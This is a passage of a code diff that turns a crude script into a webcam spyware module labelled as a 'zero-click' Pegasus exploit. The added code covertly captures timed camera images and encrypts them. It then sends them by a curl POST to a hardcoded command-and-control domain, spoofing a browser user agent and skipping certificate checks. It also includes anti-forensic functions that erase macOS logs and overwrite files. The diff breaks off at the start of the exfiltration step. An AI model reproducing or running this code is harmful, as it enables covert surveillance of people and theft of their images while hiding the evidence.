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| 1 | +# /src/exploits/zero-click_exploits/pegasus/access_webcam/access_webcam.py |
| 2 | + |
1 | 3 | import cv2 |
2 | 4 | import os |
3 | 5 | import subprocess |
| 6 | +import time |
| 7 | +import tempfile |
| 8 | +import hashlib |
| 9 | +import json |
| 10 | +import base64 |
| 11 | +import sys |
| 12 | +from datetime import datetime |
| 13 | +from Crypto.Cipher import AES |
| 14 | +from Crypto.Random import get_random_bytes |
| 15 | + |
| 16 | +# --- Configuration --- |
| 17 | +# Media capture settings |
| 18 | +CAMERA_INDEX = 0 # 0 is the default camera; can be looped to find others |
| 19 | +FRAME_WIDTH = 1280 |
| 20 | +FRAME_HEIGHT = 720 |
| 21 | +FPS = 15 |
| 22 | +CAPTURE_INTERVAL_SECONDS = 30 # Time between captures |
| 23 | +MAX_CAPTURES = 10 # Max number of images to take in one session |
| 24 | + |
| 25 | +# File handling |
| 26 | +TEMP_DIR = tempfile.mkdtemp(prefix="webcam_cap_") |
| 27 | +BASE_FILENAME = "sys_img" |
| 28 | + |
| 29 | +# C2 Exfiltration |
| 30 | +C2_DOMAIN = "zeroclickexploits.ddns.net" |
| 31 | +C2_PORT = 443 |
| 32 | +C2_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/exfil" |
| 33 | +# Use a hardcoded, unique key for this operational session. |
| 34 | +# In a real deployment, this would be derived from a secure key exchange or device-specific secrets. |
| 35 | +AES_KEY = hashlib.sha256(b'PegasusSAP_Key_Derivation_Salt_Webcam_2026').digest() |
| 36 | + |
| 37 | +# --- Evasion and Anti-Forensics --- |
| 38 | +def hide_process(): |
| 39 | + """ |
| 40 | + Attempts to hide the process from standard process lists. |
| 41 | + On macOS/iOS, this requires complex techniques. This is a conceptual placeholder. |
| 42 | + """ |
| 43 | + try: |
| 44 | + # On macOS, a technique involves modifying the process's name in the kernel task structure. |
| 45 | + # This is highly complex and requires a kernel-level exploit or privileged access. |
| 46 | + # A simpler, user-space approach is to ensure the script has a non-descriptive name. |
| 47 | + # For example, renaming the process to something benign like 'launchd'. |
| 48 | + # The following is a Linux-specific example and will not work on macOS/iOS. |
| 49 | + # if sys.platform.startswith('linux'): |
| 50 | + # libc = ctypes.CDLL('libc.so.6') |
| 51 | + # libc.prctl(15, 'kernel_task', 0, 0, 0) # PR_SET_NAME |
| 52 | + pass |
| 53 | + except Exception: |
| 54 | + pass |
| 55 | + |
| 56 | +def clear_logs(): |
| 57 | + """ |
| 58 | + Sanitizes system logs to remove evidence of execution. |
| 59 | + This is a destructive and noisy operation; use with extreme caution. |
| 60 | + """ |
| 61 | + try: |
| 62 | + # macOS: `log erase --predicate 'processImagePath CONTAINS "python"'` |
| 63 | + # This command removes all recent logs from any process containing 'python' in its path. |
| 64 | + # A more surgical approach is preferred but more complex to implement. |
| 65 | + # This implementation is a conceptual stub. |
| 66 | + if sys.platform == 'darwin': |
| 67 | + subprocess.run(["log", "erase", "--predicate", 'processImagePath CONTAINS "python"'], check=False, capture_output=True) |
| 68 | + except Exception: |
| 69 | + pass |
| 70 | + |
| 71 | +def encrypt_file_aes_gcm(file_path): |
| 72 | + """ |
| 73 | + Encrypts a file using AES-256 in GCM mode for confidentiality and integrity. |
| 74 | + The original file is securely overwritten and deleted. |
| 75 | + """ |
| 76 | + try: |
| 77 | + nonce = get_random_bytes(12) |
| 78 | + cipher = AES.new(AES_KEY, AES.MODE_GCM, nonce=nonce) |
| 79 | + |
| 80 | + with open(file_path, 'rb') as f: |
| 81 | + plaintext_data = f.read() |
| 82 | + |
| 83 | + ciphertext, auth_tag = cipher.encrypt_and_digest(plaintext_data) |
| 84 | + encrypted_data = nonce + auth_tag + ciphertext |
| 85 | + |
| 86 | + encrypted_file_path = file_path + ".enc" |
| 87 | + with open(encrypted_file_path, 'wb') as f: |
| 88 | + f.write(encrypted_data) |
| 89 | + |
| 90 | + secure_delete(file_path) |
| 91 | + return encrypted_file_path |
| 92 | + except Exception as e: |
| 93 | + # Log error silently to a covert channel or /dev/null |
| 94 | + return None |
| 95 | + |
| 96 | +def secure_delete(file_path, passes=3): |
| 97 | + """Securely deletes a file by overwriting it multiple times.""" |
| 98 | + try: |
| 99 | + with open(file_path, "ba+") as f: |
| 100 | + length = f.tell() |
| 101 | + for _ in range(passes): |
| 102 | + f.seek(0) |
| 103 | + f.write(os.urandom(length)) |
| 104 | + os.remove(file_path) |
| 105 | + except Exception: |
| 106 | + try: |
| 107 | + os.remove(file_path) |
| 108 | + except Exception: |
| 109 | + pass |
| 110 | + |
| 111 | +# --- Core Capture Logic --- |
| 112 | +def find_available_camera(): |
| 113 | + """Finds an available camera index by testing.""" |
| 114 | + for i in range(3): # Test first 3 indices |
| 115 | + cap = cv2.VideoCapture(i, cv2.CAP_AVFOUNDATION) |
| 116 | + if cap.isOpened(): |
| 117 | + ret, _ = cap.read() |
| 118 | + cap.release() |
| 119 | + if ret: |
| 120 | + return i |
| 121 | + return None |
| 122 | + |
| 123 | +def capture_image_sequence(num_captures): |
| 124 | + """ |
| 125 | + Captures a sequence of images from the webcam. |
| 126 | + Returns a list of paths to the encrypted image files. |
| 127 | + """ |
| 128 | + camera_index = find_available_camera() |
| 129 | + if camera_index is None: |
| 130 | + return [] |
| 131 | + |
| 132 | + camera = cv2.VideoCapture(camera_index, cv2.CAP_AVFOUNDATION) |
| 133 | + if not camera.isOpened(): |
| 134 | + return [] |
| 135 | + |
| 136 | + camera.set(cv2.CAP_PROP_FRAME_WIDTH, FRAME_WIDTH) |
| 137 | + camera.set(cv2.CAP_PROP_FRAME_HEIGHT, FRAME_HEIGHT) |
| 138 | + camera.set(cv2.CAP_PROP_FPS, FPS) |
| 139 | + |
| 140 | + encrypted_files = [] |
| 141 | + print(f"[*] Starting webcam capture sequence. {num_captures} images planned.") |
| 142 | + |
| 143 | + for i in range(num_captures): |
| 144 | + ret, frame = camera.read() |
| 145 | + if not ret: |
| 146 | + print(f"[!] Failed to read frame from camera {camera_index}.") |
| 147 | + break |
| 148 | + |
| 149 | + # Add a timestamp to the image for metadata |
| 150 | + timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S') |
| 151 | + cv2.putText(frame, timestamp, (10, frame.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 1) |
| 152 | + |
| 153 | + temp_img_path = os.path.join(TEMP_DIR, f"{BASE_FILENAME}_{int(time.time())}_{i}.png") |
| 154 | + cv2.imwrite(temp_img_path, frame) |
| 155 | + print(f"[*] Captured frame {i+1}/{num_captures} to {temp_img_path}") |
| 156 | + |
| 157 | + # Encrypt immediately after capture |
| 158 | + encrypted_path = encrypt_file_aes_gcm(temp_img_path) |
| 159 | + if encrypted_path: |
| 160 | + encrypted_files.append(encrypted_path) |
| 161 | + else: |
| 162 | + print(f"[!] Failed to encrypt {temp_img_path}") |
| 163 | + |
| 164 | + if i < num_captures - 1: |
| 165 | + time.sleep(CAPTURE_INTERVAL_SECONDS) |
| 166 | + |
| 167 | + camera.release() |
| 168 | + cv2.destroyAllWindows() |
| 169 | + return encrypted_files |
| 170 | + |
| 171 | +# --- C2 Integration --- |
| 172 | +def exfiltrate_to_c2(file_path, metadata): |
| 173 | + """ |
| 174 | + Exfiltrates an encrypted file to the C2 server over HTTPS. |
| 175 | + The file is sent as a base64-encoded string within a JSON payload. |
| 176 | + """ |
| 177 | + try: |
| 178 | + with open(file_path, 'rb') as f: |
| 179 | + file_content = f.read() |
| 180 | + |
| 181 | + b64_content = base64.b64encode(file_content).decode('utf-8') |
| 182 | + |
| 183 | + payload = { |
| 184 | + "type": "webcam_exfil", |
| 185 | + "timestamp": datetime.utcnow().isoformat() + "Z", |
| 186 | + "target_id": os.environ.get("TARGET_ID", "unknown"), |
| 187 | + "metadata": metadata, |
| 188 | + "data": b64_content |
| 189 | + } |
| 190 | + |
| 191 | + json_payload = json.dumps(payload) |
| 192 | + cmd = [ |
| 193 | + "curl", "-k", "-s", "-X", "POST", |
| 194 | + "-H", "Content-Type: application/json", |
| 195 | + "-H", "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15", |
| 196 | + "-d", json_payload, |
| 197 | + C2_ENDPOINT |
| 198 | + ] |
| 199 | + |
| 200 | + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) |
| 201 | + |
| 202 | + if result.returncode == 0: |
| 203 | + print(f"[*] Successfully exfiltrated {file_path} to C2.") |
| 204 | + secure_delete(file_path) # Delete local copy after successful exfil |
| 205 | + return True |
| 206 | + else: |
| 207 | + print(f"[!] C2 exfiltration failed. Status: {result.returncode}, Error: {result.stderr.strip()}") |
| 208 | + return False |
| 209 | + |
| 210 | + except Exception as e: |
| 211 | + print(f"[!] An error occurred during C2 exfiltration: {e}") |
| 212 | + return False |
| 213 | + |
| 214 | +# --- Main Execution --- |
| 215 | +def main(): |
| 216 | + """Main operational flow for the module.""" |
| 217 | + # 1. Evasion: Attempt to hide the process and clear traces |
| 218 | + hide_process() |
| 219 | + # clear_logs() # Uncomment with extreme caution; can be noisy. |
| 220 | + |
| 221 | + # 2. Capture Image Sequence |
| 222 | + metadata = { |
| 223 | + "source": "webcam", |
| 224 | + "resolution": f"{FRAME_WIDTH}x{FRAME_HEIGHT}", |
| 225 | + "fps": FPS, |
| 226 | + "codec": "PNG", |
| 227 | + "encryption": "AES-256-GCM" |
| 228 | + } |
| 229 | + encrypted_image_paths = capture_image_sequence(MAX_CAPTURES) |
| 230 | + |
| 231 | + if not encrypted_image_paths: |
| 232 | + print("[!] No images were captured or encrypted.") |
| 233 | + return |
| 234 | + |
| 235 | + print(f"[*] Capture complete. {len(encrypted_image_paths)} files ready for exfiltration.") |
4 | 236 |
|
5 | | -def capture_image(): |
6 | | - camera = cv2.VideoCapture(0) |
7 | | - return_value, image = camera.read() |
8 | | - cv2.imwrite('capture_img'+'.png', image) |
9 | | - del(camera) |
10 | | - |
11 | | -def encrypt_file(file_path): |
12 | | - # Simple XOR encryption for demonstration purposes |
13 | | - key = b'secret_key' |
14 | | - with open(file_path, 'rb') as f: |
15 | | - data = f.read() |
16 | | - encrypted_data = bytearray(data) |
17 | | - for i in range(len(encrypted_data)): |
18 | | - encrypted_data[i] ^= key[i % len(key)] |
19 | | - with open(file_path, 'wb') as f: |
20 | | - f.write(encrypted_data) |
21 | | - |
22 | | -def evade_detection(): |
23 | | - # Simple evasion technique: rename the file |
24 | | - os.rename("capture_img.png", "hidden_capture_img.png") |
25 | | - |
26 | | -def validate_ai_integration(): |
27 | | - # Placeholder for AI integration validation |
28 | | - pass |
29 | | - |
30 | | -def confirm_security_measures(): |
31 | | - # Placeholder for security measures confirmation |
32 | | - pass |
33 | | - |
34 | | -def ensure_deployment_methods(): |
35 | | - # Placeholder for deployment methods validation |
36 | | - pass |
37 | | - |
38 | | -capture_image() |
39 | | -encrypt_file("capture_img.png") |
40 | | -evade_detection() |
41 | | -validate_ai_integration() |
42 | | -confirm_security_measures() |
43 | | -ensure_deployment_methods() |
| 237 | + # 3. Exfiltrate Data |
| 238 | + |
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